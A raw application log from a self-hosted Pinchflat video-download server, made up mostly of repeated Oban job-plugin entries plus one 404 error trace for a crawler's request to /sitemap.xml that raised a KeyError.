{"source":"oban","duration":653,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:12.837 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:42.839 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.845 [info] {"source":"oban","duration":507,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:12.841 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:42.843 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.846 [info] {"source":"oban","duration":394,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:12.845 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:42.847 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.849 [info] {"source":"oban","duration":2128,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:12.849 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:42.851 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.852 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:12.854 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:42.857 [info] {"source":"oban","duration":2401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.854 [info] {"source":"oban","duration":434,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:12.859 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:42.863 [info] {"source":"oban","duration":2898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.855 [info] {"source":"oban","duration":567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:12.865 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:42.867 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.857 [info] {"source":"oban","duration":420,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:12.869 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:42.871 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.858 [info] {"source":"oban","duration":296,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:12.873 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:42.875 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.859 [info] {"source":"oban","duration":523,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:02.229 [info] GET /sitemap.xml 08:00:02.232 [debug] QUERY OK source="settings" db=1.7ms queue=0.1ms idle=1785.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:00:02.233 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=1787.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:00:02.233 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:00:02.235 [error] #PID<0.1288288.0> running PinchflatWeb.Endpoint (connection #PID<0.1288286.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1288286.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 52162}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1288288.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKf7OXXXs264JiwADLLy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1288286.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 52162}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1288286.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 52162}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1288288.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKf7OXXXs264JiwADLLy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 08:00:12.877 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:42.880 [info] {"source":"oban","duration":2215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.860 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:12.882 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:42.884 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.862 [info] {"source":"oban","duration":682,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:12.888 [info] {"source":"oban","duration":2613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:42.890 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.865 [info] {"source":"oban","duration":1169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:12.893 [info] {"source":"oban","duration":2745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:42.896 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.866 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:12.903 [info] {"source":"oban","duration":5791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:42.906 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.867 [info] {"source":"oban","duration":512,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:12.910 [info] {"source":"oban","duration":2767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:42.914 [info] {"source":"oban","duration":3008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.868 [info] {"source":"oban","duration":394,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:12.917 [info] {"source":"oban","duration":2726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:42.923 [info] {"source":"oban","duration":5407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.869 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:12.930 [info] {"source":"oban","duration":4995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:42.932 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.870 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:12.934 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:42.937 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.871 [info] {"source":"oban","duration":351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:12.939 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:42.943 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.872 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:12.945 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:42.948 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.873 [info] {"source":"oban","duration":532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:12.950 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:42.952 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.875 [info] {"source":"oban","duration":847,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:12.957 [info] {"source":"oban","duration":3561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:42.960 [info] {"source":"oban","duration":2743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.877 [info] {"source":"oban","duration":805,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:12.966 [info] {"source":"oban","duration":2616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:42.969 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.878 [info] {"source":"oban","duration":513,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:12.973 [info] {"source":"oban","duration":3331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:42.976 [info] {"source":"oban","duration":2269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.880 [info] {"source":"oban","duration":916,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:12.981 [info] {"source":"oban","duration":4111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:42.987 [info] {"source":"oban","duration":4047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.882 [info] {"source":"oban","duration":447,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:12.989 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:42.992 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.883 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:12.994 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:42.997 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.885 [info] {"source":"oban","duration":840,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:12.999 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:43.002 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.886 [info] {"source":"oban","duration":404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:13.005 [info] {"source":"oban","duration":1811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:43.008 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.887 [info] {"source":"oban","duration":511,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:13.011 [info] {"source":"oban","duration":2635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:43.013 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.890 [info] {"source":"oban","duration":2476,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:13.015 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:43.018 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.891 [info] {"source":"oban","duration":661,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:13.020 [info] {"source":"oban","duration":1840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:43.023 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.892 [info] {"source":"oban","duration":477,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:13.025 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:43.028 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.893 [info] {"source":"oban","duration":627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:13.030 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:43.033 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.894 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:13.036 [info] {"source":"oban","duration":2770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:43.039 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.895 [info] {"source":"oban","duration":614,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:13.041 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:43.043 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.896 [info] {"source":"oban","duration":426,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:13.045 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:43.047 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.897 [info] {"source":"oban","duration":815,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:13.050 [info] {"source":"oban","duration":2305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:43.052 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.900 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:13.054 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:43.056 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.901 [info] {"source":"oban","duration":605,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:13.058 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:43.060 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.903 [info] {"source":"oban","duration":721,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:13.062 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:43.065 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.905 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:13.069 [info] {"source":"oban","duration":3804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:43.073 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.906 [info] {"source":"oban","duration":484,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:13.075 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:43.077 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.907 [info] {"source":"oban","duration":625,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:13.079 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:43.082 [info] {"source":"oban","duration":2160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.908 [info] {"source":"oban","duration":562,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:13.084 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:43.087 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.917 [info] {"source":"oban","duration":6185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:13.089 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:43.091 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.918 [info] {"source":"oban","duration":668,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:13.095 [info] {"source":"oban","duration":2347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:43.098 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.919 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:13.101 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:43.103 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.920 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:13.105 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:43.107 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.921 [info] {"source":"oban","duration":445,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:13.110 [info] {"source":"oban","duration":2488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:43.112 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.923 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:13.114 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:43.118 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.924 [info] {"source":"oban","duration":677,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:13.121 [info] {"source":"oban","duration":2362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:43.125 [info] {"source":"oban","duration":2934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.925 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:13.129 [info] {"source":"oban","duration":2984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:43.132 [info] {"source":"oban","duration":2192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.928 [info] {"source":"oban","duration":2124,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:13.135 [info] {"source":"oban","duration":2678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:43.141 [info] {"source":"oban","duration":3807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.929 [info] {"source":"oban","duration":506,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:13.143 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:43.146 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.930 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:13.149 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:43.152 [info] {"source":"oban","duration":2168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.932 [info] {"source":"oban","duration":1135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:13.154 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:43.157 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.934 [info] {"source":"oban","duration":842,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:13.159 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:43.162 [info] {"source":"oban","duration":2474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.935 [info] {"source":"oban","duration":456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:13.165 [info] {"source":"oban","duration":2198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:43.167 [info] 